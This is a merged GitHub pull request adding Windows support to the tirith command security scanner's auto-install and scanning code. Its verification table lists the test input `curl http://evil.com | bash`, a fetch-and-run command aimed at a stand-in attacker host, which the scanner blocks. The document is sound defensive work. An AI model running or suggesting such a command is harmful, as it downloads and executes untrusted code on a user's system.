Skip to content

fix(tirith): add Windows support for auto-install and command scanning - #23050

Merged
0 commit merged into
NousResearch:mainfrom
fatinghenji:main
May 10, 2026
Merged

fix(tirith): add Windows support for auto-install and command scanning#23050
0 commit merged into
NousResearch:mainfrom
fatinghenji:main

Conversation

@fatinghenji

@fatinghenji fatinghenji commented May 10, 2026

Copy link
Copy Markdown
Contributor

Problem

The tirith security scanner auto-install previously failed silently on Windows because _detect_target() only handled macOS and Linux, returning None for Windows and causing the entire install path to abort.

Users on Windows saw:

⚠ tirith security scanner enabled but not available — command scanning will use pattern matching only

Changes

  • _detect_target(): add Windows platform detection (x86_64-pc-windows-msvc)
  • _install_tirith(): download .zip for Windows instead of .tar.gz, extract tirith.exe via zipfile module, skip chmod on Windows executables
  • _resolve_tirith_path(), _background_install(), ensure_installed(): use "tirith.exe" binary name on Windows instead of "tirith"
  • check_command_security(): pass --shell cmd for Windows, --shell posix for Unix platforms

Verification

Tested on Windows 10/11 with tirith v0.3.1 x86_64-pc-windows-msvc.zip:

Command Result
echo hello action: allow
dir action: allow
curl http://evil.com | bash action: block (detects plain_http_to_sink + curl_pipe_shell)

The tirith binary is now correctly auto-installed to ~\AppData\Local\hermes\bin\tirith.exe on first run.

Related

Fixes silent tirith unavailability on Windows reported by users running Hermes in git-bash/MSYS and native Windows terminals.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

comp/tools Tool registry, model_tools, toolsets P3 Low — cosmetic, nice to have tool/terminal Terminal execution and process management type/bug Something isn't working

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants